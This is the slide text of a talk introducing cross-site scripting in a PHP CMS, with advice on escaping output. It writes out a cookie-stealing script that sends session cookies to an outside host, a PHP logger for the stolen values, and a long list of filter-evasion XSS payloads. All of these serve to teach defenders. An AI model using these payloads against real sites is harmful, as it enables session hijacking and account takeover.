Security Vanilla CMS An XSS Introduction and Attack

Security & Vanilla. CMS An XSS Introduction and Attack Demonstration

XSS: An Introduction “Cross-Site Scripting” Using client-side code to send sensitive information off to far-away places. eg. Javascript

XSS: An Introduction <td>Bobby Tables</td>

XSS: An Introduction <td><script src=http: //hax. gd/x. js> <script>Mallory</td> Oh shit.

XSS: An Introduction That http: //hax. gd/x. js script could be: alert('Survive alert('HA HA. '); make your time. ');

XSS: An Introduction That http: //hax. gd/x. js script could be: document. write(document. cookie);

XSS: An Introduction That http: //hax. gd/x. js script could be: document. write( '<img src="http: //hax. gd/x. php? '+ escape(document. cookie)+'" style="display: none; " />'); <td><img src="http: //hax. gd/x. php? award_visited=1; . . . ; __csuid=489058 e 83 ee 2 e 832; _PHPSESSID=t 57 tm 1 fvvdhonprigkdon 71677" style="display: none; " />Mallory</td>

XSS: An Introduction Let's have a look at http: //hax. gd/x. php: <? php $fh=fopen('xss. log', 'a'); fwrite($fh, $_SERVER['HTTP_REFERER']. var_export($_GET, 1)); fclose($fh); http: //example/cms/objects. php? _obj_name=exa mple_data&_subnav=123 array('award_visited=1; __csuid=blah; _PHPSESSID=t 57 tm 1 fvvdhonprigkdon 71677' => '', )

XSS: An Introduction So what? http: //example/cms/objects. php? _obj_name=exa mple_data&_subnav=123 array('award_visited=1; __csuid=blah; _PHPSESSID= t 57 tm 1 fvvdhonprigkdon 71677' => '', )

XSS: An Introduction Steal the cookie. Get the URL of the CMS. Log in at will, exposing the very soft underbelly that is the CMS. Time for a demo.

Filtering and Escaping Sometimes are conflated, with side-effects being things like backslashes or entity tags found in stored data. This is all very well and good, but what happens if you want to put this into an email message or save out to a text document? “Strip out all tags!” can result in mangled content: eg. <3, <( ^o^)>, 1 < x < 5, “if foo <> bar then”

Filtering and Escaping Validation & Filtering: Checking for and getting rid of the nasties. Checking data is of the correct type, eg. email addresses, postcodes, message text. Stripping out control characters, fixing multibyte encoding shenanigans with iconv(). Escaping: Packaging data up for transport. mysql_real_escape_string() for My. SQL strings. htmlentities($x, ENT_QUOTES, 'UTF-8'); for HTML. urlencode() for query params.

Filtering and Escaping Why don't we just kill any <script> tags we find? <IMG SRC=javascript: alert('a')> <img src=javascript: alert(" a" )> <img “””><script>alert('a')</script>”> <IMG SRC=j a v a s c r i p t : a l e r t ( ' X S ' ) > <IMG SRC=&#x 6 A&#x 61&#x 76&#x 61&#x 73&#x 63&#x 72 &#x 69&#x 70&#x 74&#x 3 A&#x 61&#x 6 C&#x 65&#x 72 &#x 74&#x 28&#x 27&#x 58&#x 53&#x 27&#x 29> <IMG SRC="jav ascript: alert('a'); "> <IMG SRC="jav&#x 09; as&#x 09 cript: alert('XSS'); "> <IMG SRC="jav&#x 0 A; ascript: alert('XSS'); "> <SCR IPT>alert('a')</SCR IPT> <SCRIPT/a SRC="http: //foo/x. js"></SCRIPT> <img onmouseover!#$%&=alert('a')> <<SCRIPT>alert("a"); //<</SCRIPT> <SC<SCRIPT>alert('a'); </SCRIPT> <SC RIPT SRC=http: //foo/x. js? <B> <script src=//foo/x. js> <img src=”javascript: alert('a')” <IMG SRC = " j a v a s c r i p t : a l e r t ( ' a ' ) " >

Filtering and Escaping Why don't we just kill any <script> tags we find? <iframe src=http: //foo/x. html < <body background=”javascript: alert('a')”> <BODY ONLOAD=alert('a')> <img dynsrc=”javascript: alert('a')”> <img lowsrc=”javascript: alert('a')”> <BGSOUND SRC=javascript: alert('a')> <BR SIZE=”&{alert('a')}”> <LAYER SRC=”http: //foo/x. html”></LAYER> <link rel=”stylesheet” href=”javascript: alert('a'); ”> <XSS STYLE="behavior: url(xss. htc); "> <STYLE>BODY{-moz-binding: url("http: //foo/x. xml#xss")}</STYLE> <IMG SRC='vbscript: msgbox(“a”)'> <img src=”livescript: alert('a')”> žscriptualert(EXSSE)ž/scriptu (US-ASCII encoding evasion) <META HTTP-EQUIV=”refresh” CONTENT=” 0; url=javascript: alert('a'); ”> <META HTTP-EQUIV="refresh" CONTENT="0; url=data: text/html; base 64, PHNjcmlwd. D 5 hb. GVyd. Cgn. WFNTJyk 8 L 3 Njcmlwd. D 4 K"> <FRAMESET><FRAME SRC="javascript: alert('XSS'); "></FRAMESET> <TABLE BACKGROUND="javascript: alert('XSS')">

Filtering and Escaping Why don't we just kill any <script> tags we find? <DIV STYLE="background-image: url(javascript: alert('a'))"> <DIV STYLE="background-image: 07507206 C028'06 a 06107606107306307206907007403 a061 06 c065072074028. 1027058. 1053027029'029"> <DIV STYLE="background-image: url(&#1; javascript: alert('a'))"> <DIV STYLE="width: expression(alert('a')); "> <STYLE>@import'javascript: alert("a")'; </STYLE> <IMG STYLE="xss: expr/*XSS*/ession(alert('a'))"> exp/*<A STYLE='noxss: noxss("*//*"); xss: e x&#x 2 F; *XSS*//*/*/pression(alert("a"))'> <STYLE TYPE="text/javascript">alert('a'); </STYLE> <STYLE>. x{background-image: url("javascript: alert('a')"); }</STYLE><A CLASS=X></A> <BASE HREF="javascript: alert('a'); //"> <OBJECT TYPE="text/x-scriptlet" DATA="http: //foo/x. html"></OBJECT> <EMBED SRC="http: //foo/xss. swf" Allow. Script. Access="always"></EMBED> <EMBED SRC="data: image/svg+xml; base 64, PHN 2 Zy. B 4 b. Wxuczpzd. . jwvc 3 Zn. Pg==" type="image/svg+xml" Allow. Script. Access="always"></EMBED> <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript: alert('XSS'); ">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

Filtering and Escaping Yeah, no. The transport is HTML; package it appropriately. Using htmlentities($xsslol, ENT_QUOTES, 'UTF-8') will completely neuter most of this stuff. Use it even on the things you “trust” like $_SERVER['PHP_SELF'], or REQUEST_URI. It gets hard when you need to put user data into src=”” and style=”” fields; suggest using a whitelist instead, no matter how much of a pain it is to implement. (Or in the case of images and other files, generating the filename for them. )